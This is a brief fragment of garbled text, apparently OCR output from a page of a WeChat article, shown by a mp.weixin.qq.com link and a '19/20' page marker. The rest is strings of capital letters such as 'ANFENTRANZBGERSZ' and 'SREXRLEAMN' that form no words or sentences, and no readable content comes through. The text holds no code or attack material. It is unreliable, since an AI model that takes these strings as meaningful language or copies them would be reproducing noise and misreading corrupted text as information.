ANFENTRANZBGERSZ, ARXRETEEDUNBTEERARENERRBES A,
SREXRLEAMN, ERETHEREINSZSMERNWNIZR, BEREFH R A BNEE
KB, HERRFEFNRNYU; BRNAFEAXEREIE RO T AR MNRIREEE T
MEEANFERK,

H

https://mp.weixin.qq.com/s/yccot8vIwIyNLOrwUshkLQ 19/20
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MEE THHE

PEIMARE, APXRESE, FFERAFR

KR HEIE BTN SERA
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